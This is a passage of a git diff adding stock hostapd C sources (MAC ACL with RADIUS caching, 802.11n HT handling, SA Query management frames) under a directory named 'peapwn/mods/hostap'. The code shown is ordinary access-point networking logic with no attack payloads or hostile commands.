sizeof(buf), RADIUS_802_1X_ADDR_FORMAT, + MAC2STR(addr)); + if (!radius_msg_add_attr(msg, RADIUS_ATTR_CALLING_STATION_ID, + (u8 *) buf, os_strlen(buf))) { + wpa_printf(MSG_DEBUG, "Could not add Calling-Station-Id"); + goto fail; + } + + os_snprintf(buf, sizeof(buf), "CONNECT 11Mbps 802.11b"); + if (!radius_msg_add_attr(msg, RADIUS_ATTR_CONNECT_INFO, + (u8 *) buf, os_strlen(buf))) { + wpa_printf(MSG_DEBUG, "Could not add Connect-Info"); + goto fail; + } + + if (radius_client_send(hapd->radius, msg, RADIUS_AUTH, addr) < 0) + goto fail; + return 0; + + fail: + radius_msg_free(msg); + return -1; +} +#endif /* CONFIG_NO_RADIUS */ + + +/** + * hostapd_allowed_address - Check whether a specified STA can be authenticated + * @hapd: hostapd BSS data + * @addr: MAC address of the STA + * @msg: Authentication message + * @len: Length of msg in octets + * @session_timeout: Buffer for returning session timeout (from RADIUS) + * @acct_interim_interval: Buffer for returning account interval (from RADIUS) + * @vlan_id: Buffer for returning VLAN ID + * @psk: Linked list buffer for returning WPA PSK + * @identity: Buffer for returning identity (from RADIUS) + * @radius_cui: Buffer for returning CUI (from RADIUS) + * Returns: HOSTAPD_ACL_ACCEPT, HOSTAPD_ACL_REJECT, or HOSTAPD_ACL_PENDING + * + * The caller is responsible for freeing the returned *identity and *radius_cui + * values with os_free(). + */ +int hostapd_allowed_address(struct hostapd_data *hapd, const u8 *addr, + const u8 *msg, size_t len, u32 *session_timeout, + u32 *acct_interim_interval, int *vlan_id, + struct hostapd_sta_wpa_psk_short **psk, + char **identity, char **radius_cui) +{ + if (session_timeout) + *session_timeout = 0; + if (acct_interim_interval) + *acct_interim_interval = 0; + if (vlan_id) + *vlan_id = 0; + if (psk) + *psk = NULL; + if (identity) + *identity = NULL; + if (radius_cui) + *radius_cui = NULL; + + if (hostapd_maclist_found(hapd->conf->accept_mac, + hapd->conf->num_accept_mac, addr, vlan_id)) + return HOSTAPD_ACL_ACCEPT; + + if (hostapd_maclist_found(hapd->conf->deny_mac, + hapd->conf->num_deny_mac, addr, vlan_id)) + return HOSTAPD_ACL_REJECT; + + if (hapd->conf->macaddr_acl == ACCEPT_UNLESS_DENIED) + return HOSTAPD_ACL_ACCEPT; + if (hapd->conf->macaddr_acl == DENY_UNLESS_ACCEPTED) + return HOSTAPD_ACL_REJECT; + + if (hapd->conf->macaddr_acl == USE_EXTERNAL_RADIUS_AUTH) { +#ifdef CONFIG_NO_RADIUS + return HOSTAPD_ACL_REJECT; +#else /* CONFIG_NO_RADIUS */ + struct hostapd_acl_query_data *query; + struct os_time t; + + /* Check whether ACL cache has an entry for this station */ + int res = hostapd_acl_cache_get(hapd, addr, session_timeout, + acct_interim_interval, + vlan_id, psk, + identity, radius_cui); + if (res == HOSTAPD_ACL_ACCEPT || + res == HOSTAPD_ACL_ACCEPT_TIMEOUT) + return res; + if (res == HOSTAPD_ACL_REJECT) + return HOSTAPD_ACL_REJECT; + + query = hapd->acl_queries; + while (query) { + if (os_memcmp(query->addr, addr, ETH_ALEN) == 0) { + /* pending query in RADIUS retransmit queue; + * do not generate a new one */ + if (identity) { + os_free(*identity); + *identity = NULL; + } + if (radius_cui) { + os_free(*radius_cui); + *radius_cui = NULL; + } + return HOSTAPD_ACL_PENDING; + } + query = query->next; + } + + if (!hapd->conf->radius->auth_server) + return HOSTAPD_ACL_REJECT; + + /* No entry in the cache - query external RADIUS server */ + query = os_zalloc(sizeof(*query)); + if (query == NULL) { + wpa_printf(MSG_ERROR, "malloc for query data failed"); + return HOSTAPD_ACL_REJECT; + } + os_get_time(&t); + query->timestamp = t.sec; + os_memcpy(query->addr, addr, ETH_ALEN); + if (hostapd_radius_acl_query(hapd, addr, query)) { + wpa_printf(MSG_DEBUG, "Failed to send Access-Request " + "for ACL query."); + hostapd_acl_query_free(query); + return HOSTAPD_ACL_REJECT; + } + + query->auth_msg = os_malloc(len); + if (query->auth_msg == NULL) { + wpa_printf(MSG_ERROR, "Failed to allocate memory for " + "auth frame."); + hostapd_acl_query_free(query); + return HOSTAPD_ACL_REJECT; + } + os_memcpy(query->auth_msg, msg, len); + query->auth_msg_len = len; + query->next = hapd->acl_queries; + hapd->acl_queries = query; + + /* Queued data will be processed in hostapd_acl_recv_radius() + * when RADIUS server replies to the sent Access-Request. */ + return HOSTAPD_ACL_PENDING; +#endif /* CONFIG_NO_RADIUS */ + } + + return HOSTAPD_ACL_REJECT; +} + + +#ifndef CONFIG_NO_RADIUS +static void hostapd_acl_expire_cache(struct hostapd_data *hapd, os_time_t now) +{ + struct hostapd_cached_radius_acl *prev, *entry, *tmp; + + prev = NULL; + entry = hapd->acl_cache; + + while (entry) { + if (now - entry->timestamp > RADIUS_ACL_TIMEOUT) { + wpa_printf(MSG_DEBUG, "Cached ACL entry for " MACSTR + " has expired.", MAC2STR(entry->addr)); + if (prev) + prev->next = entry->next; + else + hapd->acl_cache = entry->next; + hostapd_drv_set_radius_acl_expire(hapd, entry->addr); + tmp = entry; + entry = entry->next; + hostapd_acl_cache_free_entry(tmp); + continue; + } + + prev = entry; + entry = entry->next; + } +} + + +static void hostapd_acl_expire_queries(struct hostapd_data *hapd, + os_time_t now) +{ + struct hostapd_acl_query_data *prev, *entry, *tmp; + + prev = NULL; + entry = hapd->acl_queries; + + while (entry) { + if (now - entry->timestamp > RADIUS_ACL_TIMEOUT) { + wpa_printf(MSG_DEBUG, "ACL query for " MACSTR + " has expired.", MAC2STR(entry->addr)); + if (prev) + prev->next = entry->next; + else + hapd->acl_queries = entry->next; + + tmp = entry; + entry = entry->next; + hostapd_acl_query_free(tmp); + continue; + } + + prev = entry; + entry = entry->next; + } +} + + +/** + * hostapd_acl_expire - ACL cache expiration callback + * @eloop_ctx: struct hostapd_data * + * @timeout_ctx: Not used + */ +static void hostapd_acl_expire(void *eloop_ctx, void *timeout_ctx) +{ + struct hostapd_data *hapd = eloop_ctx; + struct os_time now; + + os_get_time(&now); + hostapd_acl_expire_cache(hapd, now.sec); + hostapd_acl_expire_queries(hapd, now.sec); + + eloop_register_timeout(10, 0, hostapd_acl_expire, hapd, NULL); +} + + +static void decode_tunnel_passwords(struct hostapd_data *hapd, + const u8 *shared_secret, + size_t shared_secret_len, + struct radius_msg *msg, + struct radius_msg *req, + struct hostapd_cached_radius_acl *cache) +{ + int passphraselen; + char *passphrase, *strpassphrase; + size_t i; + struct hostapd_sta_wpa_psk_short *psk; + + /* + * Decode all tunnel passwords as PSK and save them into a linked list. + */ + for (i = 0; ; i++) { + passphrase = radius_msg_get_tunnel_password( + msg, &passphraselen, shared_secret, shared_secret_len, + req, i); + /* + * Passphrase is NULL iff there is no i-th Tunnel-Password + * attribute in msg. + */ + if (passphrase == NULL) + break; + /* + * passphrase does not contain the NULL termination. + * Add it here as pbkdf2_sha1() requires it. + */ + strpassphrase = os_zalloc(passphraselen + 1); + psk = os_zalloc(sizeof(struct hostapd_sta_wpa_psk_short)); + if (strpassphrase && psk) { + os_memcpy(strpassphrase, passphrase, passphraselen); + pbkdf2_sha1(strpassphrase, + hapd->conf->ssid.ssid, + hapd->conf->ssid.ssid_len, 4096, + psk->psk, PMK_LEN); + psk->next = cache->psk; + cache->psk = psk; + psk = NULL; + } + os_free(strpassphrase); + os_free(psk); + os_free(passphrase); + } +} + + +/** + * hostapd_acl_recv_radius - Process incoming RADIUS Authentication messages + * @msg: RADIUS response message + * @req: RADIUS request message + * @shared_secret: RADIUS shared secret + * @shared_secret_len: Length of shared_secret in octets + * @data: Context data (struct hostapd_data *) + * Returns: RADIUS_RX_PROCESSED if RADIUS message was a reply to ACL query (and + * was processed here) or RADIUS_RX_UNKNOWN if not. + */ +static RadiusRxResult +hostapd_acl_recv_radius(struct radius_msg *msg, struct radius_msg *req, + const u8 *shared_secret, size_t shared_secret_len, + void *data) +{ + struct hostapd_data *hapd = data; + struct hostapd_acl_query_data *query, *prev; + struct hostapd_cached_radius_acl *cache; + struct radius_hdr *hdr = radius_msg_get_hdr(msg); + struct os_time t; + + query = hapd->acl_queries; + prev = NULL; + while (query) { + if (query->radius_id == hdr->identifier) + break; + prev = query; + query = query->next; + } + if (query == NULL) + return RADIUS_RX_UNKNOWN; + + wpa_printf(MSG_DEBUG, "Found matching Access-Request for RADIUS " + "message (id=%d)", query->radius_id); + + if (radius_msg_verify(msg, shared_secret, shared_secret_len, req, 0)) { + wpa_printf(MSG_INFO, "Incoming RADIUS packet did not have " + "correct authenticator - dropped\n"); + return RADIUS_RX_INVALID_AUTHENTICATOR; + } + + if (hdr->code != RADIUS_CODE_ACCESS_ACCEPT && + hdr->code != RADIUS_CODE_ACCESS_REJECT) { + wpa_printf(MSG_DEBUG, "Unknown RADIUS message code %d to ACL " + "query", hdr->code); + return RADIUS_RX_UNKNOWN; + } + + /* Insert Accept/Reject info into ACL cache */ + cache = os_zalloc(sizeof(*cache)); + if (cache == NULL) { + wpa_printf(MSG_DEBUG, "Failed to add ACL cache entry"); + goto done; + } + os_get_time(&t); + cache->timestamp = t.sec; + os_memcpy(cache->addr, query->addr, sizeof(cache->addr)); + if (hdr->code == RADIUS_CODE_ACCESS_ACCEPT) { + u8 *buf; + size_t len; + + if (radius_msg_get_attr_int32(msg, RADIUS_ATTR_SESSION_TIMEOUT, + &cache->session_timeout) == 0) + cache->accepted = HOSTAPD_ACL_ACCEPT_TIMEOUT; + else + cache->accepted = HOSTAPD_ACL_ACCEPT; + + if (radius_msg_get_attr_int32( + msg, RADIUS_ATTR_ACCT_INTERIM_INTERVAL, + &cache->acct_interim_interval) == 0 && + cache->acct_interim_interval < 60) { + wpa_printf(MSG_DEBUG, "Ignored too small " + "Acct-Interim-Interval %d for STA " MACSTR, + cache->acct_interim_interval, + MAC2STR(query->addr)); + cache->acct_interim_interval = 0; + } + + cache->vlan_id = radius_msg_get_vlanid(msg); + + decode_tunnel_passwords(hapd, shared_secret, shared_secret_len, + msg, req, cache); + + if (radius_msg_get_attr_ptr(msg, RADIUS_ATTR_USER_NAME, + &buf, &len, NULL) == 0) { + cache->identity = os_zalloc(len + 1); + if (cache->identity) + os_memcpy(cache->identity, buf, len); + } + if (radius_msg_get_attr_ptr( + msg, RADIUS_ATTR_CHARGEABLE_USER_IDENTITY, + &buf, &len, NULL) == 0) { + cache->radius_cui = os_zalloc(len + 1); + if (cache->radius_cui) + os_memcpy(cache->radius_cui, buf, len); + } + + if (hapd->conf->wpa_psk_radius == PSK_RADIUS_REQUIRED && + !cache->psk) + cache->accepted = HOSTAPD_ACL_REJECT; + } else + cache->accepted = HOSTAPD_ACL_REJECT; + cache->next = hapd->acl_cache; + hapd->acl_cache = cache; + +#ifdef CONFIG_DRIVER_RADIUS_ACL + hostapd_drv_set_radius_acl_auth(hapd, query->addr, cache->accepted, + cache->session_timeout); +#else /* CONFIG_DRIVER_RADIUS_ACL */ +#ifdef NEED_AP_MLME + /* Re-send original authentication frame for 802.11 processing */ + wpa_printf(MSG_DEBUG, "Re-sending authentication frame after " + "successful RADIUS ACL query"); + ieee802_11_mgmt(hapd, query->auth_msg, query->auth_msg_len, NULL); +#endif /* NEED_AP_MLME */ +#endif /* CONFIG_DRIVER_RADIUS_ACL */ + + done: + if (prev == NULL) + hapd->acl_queries = query->next; + else + prev->next = query->next; + + hostapd_acl_query_free(query); + + return RADIUS_RX_PROCESSED; +} +#endif /* CONFIG_NO_RADIUS */ + + +/** + * hostapd_acl_init: Initialize IEEE 802.11 ACL + * @hapd: hostapd BSS data + * Returns: 0 on success, -1 on failure + */ +int hostapd_acl_init(struct hostapd_data *hapd) +{ +#ifndef CONFIG_NO_RADIUS + if (radius_client_register(hapd->radius, RADIUS_AUTH, + hostapd_acl_recv_radius, hapd)) + return -1; + + eloop_register_timeout(10, 0, hostapd_acl_expire, hapd, NULL); +#endif /* CONFIG_NO_RADIUS */ + + return 0; +} + + +/** + * hostapd_acl_deinit - Deinitialize IEEE 802.11 ACL + * @hapd: hostapd BSS data + */ +void hostapd_acl_deinit(struct hostapd_data *hapd) +{ + struct hostapd_acl_query_data *query, *prev; + +#ifndef CONFIG_NO_RADIUS + eloop_cancel_timeout(hostapd_acl_expire, hapd, NULL); + + hostapd_acl_cache_free(hapd->acl_cache); +#endif /* CONFIG_NO_RADIUS */ + + query = hapd->acl_queries; + while (query) { + prev = query; + query = query->next; + hostapd_acl_query_free(prev); + } +} + + +void hostapd_free_psk_list(struct hostapd_sta_wpa_psk_short *psk) +{ + while (psk) { + struct hostapd_sta_wpa_psk_short *prev = psk; + psk = psk->next; + os_free(prev); + } +} diff --git a/peapwn/mods/hostap/src/ap/ieee802_11_auth.h b/peapwn/mods/hostap/src/ap/ieee802_11_auth.h new file mode 100644 index 000000000..2bc1065a2 --- /dev/null +++ b/peapwn/mods/hostap/src/ap/ieee802_11_auth.h @@ -0,0 +1,28 @@ +/* + * hostapd / IEEE 802.11 authentication (ACL) + * Copyright (c) 2003-2005, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef IEEE802_11_AUTH_H +#define IEEE802_11_AUTH_H + +enum { + HOSTAPD_ACL_REJECT = 0, + HOSTAPD_ACL_ACCEPT = 1, + HOSTAPD_ACL_PENDING = 2, + HOSTAPD_ACL_ACCEPT_TIMEOUT = 3 +}; + +int hostapd_allowed_address(struct hostapd_data *hapd, const u8 *addr, + const u8 *msg, size_t len, u32 *session_timeout, + u32 *acct_interim_interval, int *vlan_id, + struct hostapd_sta_wpa_psk_short **psk, + char **identity, char **radius_cui); +int hostapd_acl_init(struct hostapd_data *hapd); +void hostapd_acl_deinit(struct hostapd_data *hapd); +void hostapd_free_psk_list(struct hostapd_sta_wpa_psk_short *psk); + +#endif /* IEEE802_11_AUTH_H */ diff --git a/peapwn/mods/hostap/src/ap/ieee802_11_ht.c b/peapwn/mods/hostap/src/ap/ieee802_11_ht.c new file mode 100644 index 000000000..2d53648c6 --- /dev/null +++ b/peapwn/mods/hostap/src/ap/ieee802_11_ht.c @@ -0,0 +1,288 @@ +/* + * hostapd / IEEE 802.11n HT + * Copyright (c) 2002-2009, Jouni Malinen + * Copyright (c) 2007-2008, Intel Corporation + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. + * + * Alternatively, this software may be distributed under the terms of BSD + * license. + * + * See README and COPYING for more details. + */ + +#include "utils/includes.h" + +#include "utils/common.h" +#include "common/ieee802_11_defs.h" +#include "drivers/driver.h" +#include "hostapd.h" +#include "ap_config.h" +#include "sta_info.h" +#include "beacon.h" +#include "ieee802_11.h" + + +u8 * hostapd_eid_ht_capabilities(struct hostapd_data *hapd, u8 *eid) +{ + struct ieee80211_ht_capabilities *cap; + u8 *pos = eid; + + if (!hapd->iconf->ieee80211n || !hapd->iface->current_mode || + hapd->conf->disable_11n) + return eid; + + *pos++ = WLAN_EID_HT_CAP; + *pos++ = sizeof(*cap); + + cap = (struct ieee80211_ht_capabilities *) pos; + os_memset(cap, 0, sizeof(*cap)); + cap->ht_capabilities_info = host_to_le16(hapd->iconf->ht_capab); + cap->a_mpdu_params = hapd->iface->current_mode->a_mpdu_params; + os_memcpy(cap->supported_mcs_set, hapd->iface->current_mode->mcs_set, + 16); + + /* TODO: ht_extended_capabilities (now fully disabled) */ + /* TODO: tx_bf_capability_info (now fully disabled) */ + /* TODO: asel_capabilities (now fully disabled) */ + + pos += sizeof(*cap); + + if (hapd->iconf->obss_interval) { + struct ieee80211_obss_scan_parameters *scan_params; + + *pos++ = WLAN_EID_OVERLAPPING_BSS_SCAN_PARAMS; + *pos++ = sizeof(*scan_params); + + scan_params = (struct ieee80211_obss_scan_parameters *) pos; + os_memset(scan_params, 0, sizeof(*scan_params)); + scan_params->width_trigger_scan_interval = + host_to_le16(hapd->iconf->obss_interval); + + /* TODO: Fill in more parameters (supplicant ignores them) */ + + pos += sizeof(*scan_params); + } + + return pos; +} + + +u8 * hostapd_eid_ht_operation(struct hostapd_data *hapd, u8 *eid) +{ + struct ieee80211_ht_operation *oper; + u8 *pos = eid; + + if (!hapd->iconf->ieee80211n || hapd->conf->disable_11n) + return eid; + + *pos++ = WLAN_EID_HT_OPERATION; + *pos++ = sizeof(*oper); + + oper = (struct ieee80211_ht_operation *) pos; + os_memset(oper, 0, sizeof(*oper)); + + oper->control_chan = hapd->iconf->channel; + oper->operation_mode = host_to_le16(hapd->iface->ht_op_mode); + if (hapd->iconf->secondary_channel == 1) + oper->ht_param |= HT_INFO_HT_PARAM_SECONDARY_CHNL_ABOVE | + HT_INFO_HT_PARAM_REC_TRANS_CHNL_WIDTH; + if (hapd->iconf->secondary_channel == -1) + oper->ht_param |= HT_INFO_HT_PARAM_SECONDARY_CHNL_BELOW | + HT_INFO_HT_PARAM_REC_TRANS_CHNL_WIDTH; + + pos += sizeof(*oper); + + return pos; +} + + +/* +op_mode +Set to 0 (HT pure) under the followign conditions + - all STAs in the BSS are 20/40 MHz HT in 20/40 MHz BSS or + - all STAs in the BSS are 20 MHz HT in 20 MHz BSS +Set to 1 (HT non-member protection) if there may be non-HT STAs + in both the primary and the secondary channel +Set to 2 if only HT STAs are associated in BSS, + however and at least one 20 MHz HT STA is associated +Set to 3 (HT mixed mode) when one or more non-HT STAs are associated +*/ +int hostapd_ht_operation_update(struct hostapd_iface *iface) +{ + u16 cur_op_mode, new_op_mode; + int op_mode_changes = 0; + + if (!iface->conf->ieee80211n || iface->conf->ht_op_mode_fixed) + return 0; + + wpa_printf(MSG_DEBUG, "%s current operation mode=0x%X", + __func__, iface->ht_op_mode); + + if (!(iface->ht_op_mode & HT_INFO_OPERATION_MODE_NON_GF_DEVS_PRESENT) + && iface->num_sta_ht_no_gf) { + iface->ht_op_mode |= + HT_INFO_OPERATION_MODE_NON_GF_DEVS_PRESENT; + op_mode_changes++; + } else if ((iface->ht_op_mode & + HT_INFO_OPERATION_MODE_NON_GF_DEVS_PRESENT) && + iface->num_sta_ht_no_gf == 0) { + iface->ht_op_mode &= + ~HT_INFO_OPERATION_MODE_NON_GF_DEVS_PRESENT; + op_mode_changes++; + } + + if (!(iface->ht_op_mode & HT_INFO_OPERATION_MODE_NON_HT_STA_PRESENT) && + (iface->num_sta_no_ht || iface->olbc_ht)) { + iface->ht_op_mode |= HT_INFO_OPERATION_MODE_NON_HT_STA_PRESENT; + op_mode_changes++; + } else if ((iface->ht_op_mode & + HT_INFO_OPERATION_MODE_NON_HT_STA_PRESENT) && + (iface->num_sta_no_ht == 0 && !iface->olbc_ht)) { + iface->ht_op_mode &= + ~HT_INFO_OPERATION_MODE_NON_HT_STA_PRESENT; + op_mode_changes++; + } + + new_op_mode = 0; + if (iface->num_sta_no_ht) + new_op_mode = OP_MODE_MIXED; + else if (iface->conf->secondary_channel && iface->num_sta_ht_20mhz) + new_op_mode = OP_MODE_20MHZ_HT_STA_ASSOCED; + else if (iface->olbc_ht) + new_op_mode = OP_MODE_MAY_BE_LEGACY_STAS; + else + new_op_mode = OP_MODE_PURE; + + cur_op_mode = iface->ht_op_mode & HT_INFO_OPERATION_MODE_OP_MODE_MASK; + if (cur_op_mode != new_op_mode) { + iface->ht_op_mode &= ~HT_INFO_OPERATION_MODE_OP_MODE_MASK; + iface->ht_op_mode |= new_op_mode; + op_mode_changes++; + } + + wpa_printf(MSG_DEBUG, "%s new operation mode=0x%X changes=%d", + __func__, iface->ht_op_mode, op_mode_changes); + + return op_mode_changes; +} + + +u16 copy_sta_ht_capab(struct hostapd_data *hapd, struct sta_info *sta, + const u8 *ht_capab, size_t ht_capab_len) +{ + /* Disable HT caps for STAs associated to no-HT BSSes. */ + if (!ht_capab || + ht_capab_len < sizeof(struct ieee80211_ht_capabilities) || + hapd->conf->disable_11n) { + sta->flags &= ~WLAN_STA_HT; + os_free(sta->ht_capabilities); + sta->ht_capabilities = NULL; + return WLAN_STATUS_SUCCESS; + } + + if (sta->ht_capabilities == NULL) { + sta->ht_capabilities = + os_zalloc(sizeof(struct ieee80211_ht_capabilities)); + if (sta->ht_capabilities == NULL) + return WLAN_STATUS_UNSPECIFIED_FAILURE; + } + + sta->flags |= WLAN_STA_HT; + os_memcpy(sta->ht_capabilities, ht_capab, + sizeof(struct ieee80211_ht_capabilities)); + + return WLAN_STATUS_SUCCESS; +} + + +static void update_sta_ht(struct hostapd_data *hapd, struct sta_info *sta) +{ + u16 ht_capab; + + ht_capab = le_to_host16(sta->ht_capabilities->ht_capabilities_info); + wpa_printf(MSG_DEBUG, "HT: STA " MACSTR " HT Capabilities Info: " + "0x%04x", MAC2STR(sta->addr), ht_capab); + if ((ht_capab & HT_CAP_INFO_GREEN_FIELD) == 0) { + if (!sta->no_ht_gf_set) { + sta->no_ht_gf_set = 1; + hapd->iface->num_sta_ht_no_gf++; + } + wpa_printf(MSG_DEBUG, "%s STA " MACSTR " - no greenfield, num " + "of non-gf stations %d", + __func__, MAC2STR(sta->addr), + hapd->iface->num_sta_ht_no_gf); + } + if ((ht_capab & HT_CAP_INFO_SUPP_CHANNEL_WIDTH_SET) == 0) { + if (!sta->ht_20mhz_set) { + sta->ht_20mhz_set = 1; + hapd->iface->num_sta_ht_20mhz++; + } + wpa_printf(MSG_DEBUG, "%s STA " MACSTR " - 20 MHz HT, num of " + "20MHz HT STAs %d", + __func__, MAC2STR(sta->addr), + hapd->iface->num_sta_ht_20mhz); + } +} + + +static void update_sta_no_ht(struct hostapd_data *hapd, struct sta_info *sta) +{ + if (!sta->no_ht_set) { + sta->no_ht_set = 1; + hapd->iface->num_sta_no_ht++; + } + if (hapd->iconf->ieee80211n) { + wpa_printf(MSG_DEBUG, "%s STA " MACSTR " - no HT, num of " + "non-HT stations %d", + __func__, MAC2STR(sta->addr), + hapd->iface->num_sta_no_ht); + } +} + + +void update_ht_state(struct hostapd_data *hapd, struct sta_info *sta) +{ + if ((sta->flags & WLAN_STA_HT) && sta->ht_capabilities) + update_sta_ht(hapd, sta); + else + update_sta_no_ht(hapd, sta); + + if (hostapd_ht_operation_update(hapd->iface) > 0) + ieee802_11_set_beacons(hapd->iface); +} + + +void hostapd_get_ht_capab(struct hostapd_data *hapd, + struct ieee80211_ht_capabilities *ht_cap, + struct ieee80211_ht_capabilities *neg_ht_cap) +{ + u16 cap; + + if (ht_cap == NULL) + return; + os_memcpy(neg_ht_cap, ht_cap, sizeof(*neg_ht_cap)); + cap = le_to_host16(neg_ht_cap->ht_capabilities_info); + + /* + * Mask out HT features we don't support, but don't overwrite + * non-symmetric features like STBC and SMPS. Just because + * we're not in dynamic SMPS mode the STA might still be. + */ + cap &= (hapd->iconf->ht_capab | HT_CAP_INFO_RX_STBC_MASK | + HT_CAP_INFO_TX_STBC | HT_CAP_INFO_SMPS_MASK); + + /* + * STBC needs to be handled specially + * if we don't support RX STBC, mask out TX STBC in the STA's HT caps + * if we don't support TX STBC, mask out RX STBC in the STA's HT caps + */ + if (!(hapd->iconf->ht_capab & HT_CAP_INFO_RX_STBC_MASK)) + cap &= ~HT_CAP_INFO_TX_STBC; + if (!(hapd->iconf->ht_capab & HT_CAP_INFO_TX_STBC)) + cap &= ~HT_CAP_INFO_RX_STBC_MASK; + + neg_ht_cap->ht_capabilities_info = host_to_le16(cap); +} diff --git a/peapwn/mods/hostap/src/ap/ieee802_11_shared.c b/peapwn/mods/hostap/src/ap/ieee802_11_shared.c new file mode 100644 index 000000000..76688b513 --- /dev/null +++ b/peapwn/mods/hostap/src/ap/ieee802_11_shared.c @@ -0,0 +1,494 @@ +/* + * hostapd / IEEE 802.11 Management + * Copyright (c) 2002-2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "utils/includes.h" + +#include "utils/common.h" +#include "common/ieee802_11_defs.h" +#include "hostapd.h" +#include "sta_info.h" +#include "ap_config.h" +#include "ap_drv_ops.h" +#include "ieee802_11.h" + + +#ifdef CONFIG_IEEE80211W + +u8 * hostapd_eid_assoc_comeback_time(struct hostapd_data *hapd, + struct sta_info *sta, u8 *eid) +{ + u8 *pos = eid; + u32 timeout, tu; + struct os_time now, passed; + + *pos++ = WLAN_EID_TIMEOUT_INTERVAL; + *pos++ = 5; + *pos++ = WLAN_TIMEOUT_ASSOC_COMEBACK; + os_get_time(&now); + os_time_sub(&now, &sta->sa_query_start, &passed); + tu = (passed.sec * 1000000 + passed.usec) / 1024; + if (hapd->conf->assoc_sa_query_max_timeout > tu) + timeout = hapd->conf->assoc_sa_query_max_timeout - tu; + else + timeout = 0; + if (timeout < hapd->conf->assoc_sa_query_max_timeout) + timeout++; /* add some extra time for local timers */ + WPA_PUT_LE32(pos, timeout); + pos += 4; + + return pos; +} + + +/* MLME-SAQuery.request */ +void ieee802_11_send_sa_query_req(struct hostapd_data *hapd, + const u8 *addr, const u8 *trans_id) +{ + struct ieee80211_mgmt mgmt; + u8 *end; + + wpa_printf(MSG_DEBUG, "IEEE 802.11: Sending SA Query Request to " + MACSTR, MAC2STR(addr)); + wpa_hexdump(MSG_DEBUG, "IEEE 802.11: SA Query Transaction ID", + trans_id, WLAN_SA_QUERY_TR_ID_LEN); + + os_memset(&mgmt, 0, sizeof(mgmt)); + mgmt.frame_control = IEEE80211_FC(WLAN_FC_TYPE_MGMT, + WLAN_FC_STYPE_ACTION); + os_memcpy(mgmt.da, addr, ETH_ALEN); + os_memcpy(mgmt.sa, hapd->own_addr, ETH_ALEN); + os_memcpy(mgmt.bssid, hapd->own_addr, ETH_ALEN); + mgmt.u.action.category = WLAN_ACTION_SA_QUERY; + mgmt.u.action.u.sa_query_req.action = WLAN_SA_QUERY_REQUEST; + os_memcpy(mgmt.u.action.u.sa_query_req.trans_id, trans_id, + WLAN_SA_QUERY_TR_ID_LEN); + end = mgmt.u.action.u.sa_query_req.trans_id + WLAN_SA_QUERY_TR_ID_LEN; + if (hostapd_drv_send_mlme(hapd, &mgmt, end - (u8 *) &mgmt, 0) < 0) + wpa_printf(MSG_INFO, "ieee802_11_send_sa_query_req: send failed"); +} + + +static void ieee802_11_send_sa_query_resp(struct hostapd_data *hapd, + const u8 *sa, const u8 *trans_id) +{ + struct sta_info *sta; + struct ieee80211_mgmt resp; + u8 *end; + + wpa_printf(MSG_DEBUG, "IEEE 802.11: Received SA Query Request from " + MACSTR, MAC2STR(sa)); + wpa_hexdump(MSG_DEBUG, "IEEE 802.11: SA Query Transaction ID", + trans_id, WLAN_SA_QUERY_TR_ID_LEN); + + sta = ap_get_sta(hapd, sa); + if (sta == NULL || !(sta->flags & WLAN_STA_ASSOC)) { + wpa_printf(MSG_DEBUG, "IEEE 802.11: Ignore SA Query Request " + "from unassociated STA " MACSTR, MAC2STR(sa)); + return; + } + + wpa_printf(MSG_DEBUG, "IEEE 802.11: Sending SA Query Response to " + MACSTR, MAC2STR(sa)); + + os_memset(&resp, 0, sizeof(resp)); + resp.frame_control = IEEE80211_FC(WLAN_FC_TYPE_MGMT, + WLAN_FC_STYPE_ACTION); + os_memcpy(resp.da, sa, ETH_ALEN); + os_memcpy(resp.sa, hapd->own_addr, ETH_ALEN); + os_memcpy(resp.bssid, hapd->own_addr, ETH_ALEN); + resp.u.action.category = WLAN_ACTION_SA_QUERY; + resp.u.action.u.sa_query_req.action = WLAN_SA_QUERY_RESPONSE; + os_memcpy(resp.u.action.u.sa_query_req.trans_id, trans_id, + WLAN_SA_QUERY_TR_ID_LEN); + end = resp.u.action.u.sa_query_req.trans_id + WLAN_SA_QUERY_TR_ID_LEN; + if (hostapd_drv_send_mlme(hapd, &resp, end - (u8 *) &resp, 0) < 0) + wpa_printf(MSG_INFO, "ieee80211_mgmt_sa_query_request: send failed"); +} + + +void ieee802_11_sa_query_action(struct hostapd_data *hapd, const u8 *sa, + const u8 action_type, const u8 *trans_id) +{ + struct sta_info *sta; + int i; + + if (action_type == WLAN_SA_QUERY_REQUEST) { + ieee802_11_send_sa_query_resp(hapd, sa, trans_id); + return; + } + + if (action_type != WLAN_SA_QUERY_RESPONSE) { + wpa_printf(MSG_DEBUG, "IEEE 802.11: Unexpected SA Query " + "Action %d", action_type); + return; + } + + wpa_printf(MSG_DEBUG, "IEEE 802.11: Received SA Query Response from " + MACSTR, MAC2STR(sa)); + wpa_hexdump(MSG_DEBUG, "IEEE 802.11: SA Query Transaction ID", + trans_id, WLAN_SA_QUERY_TR_ID_LEN); + + /* MLME-SAQuery.confirm */ + + sta = ap_get_sta(hapd, sa); + if (sta == NULL || sta->sa_query_trans_id == NULL) { + wpa_printf(MSG_DEBUG, "IEEE 802.11: No matching STA with " + "pending SA Query request found"); + return; + } + + for (i = 0; i < sta->sa_query_count; i++) { + if (os_memcmp(sta->sa_query_trans_id + + i * WLAN_SA_QUERY_TR_ID_LEN, + trans_id, WLAN_SA_QUERY_TR_ID_LEN) == 0) + break; + } + + if (i >= sta->sa_query_count) { + wpa_printf(MSG_DEBUG, "IEEE 802.11: No matching SA Query " + "transaction identifier found"); + return; + } + + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_DEBUG, + "Reply to pending SA Query received"); + ap_sta_stop_sa_query(hapd, sta); +} + +#endif /* CONFIG_IEEE80211W */ + + +static void hostapd_ext_capab_byte(struct hostapd_data *hapd, u8 *pos, int idx) +{ + *pos = 0x00; + + switch (idx) { + case 0: /* Bits 0-7 */ + break; + case 1: /* Bits 8-15 */ + break; + case 2: /* Bits 16-23 */ + if (hapd->conf->wnm_sleep_mode) + *pos |= 0x02; /* Bit 17 - WNM-Sleep Mode */ + if (hapd->conf->bss_transition) + *pos |= 0x08; /* Bit 19 - BSS Transition */ + break; + case 3: /* Bits 24-31 */ +#ifdef CONFIG_WNM + *pos |= 0x02; /* Bit 25 - SSID 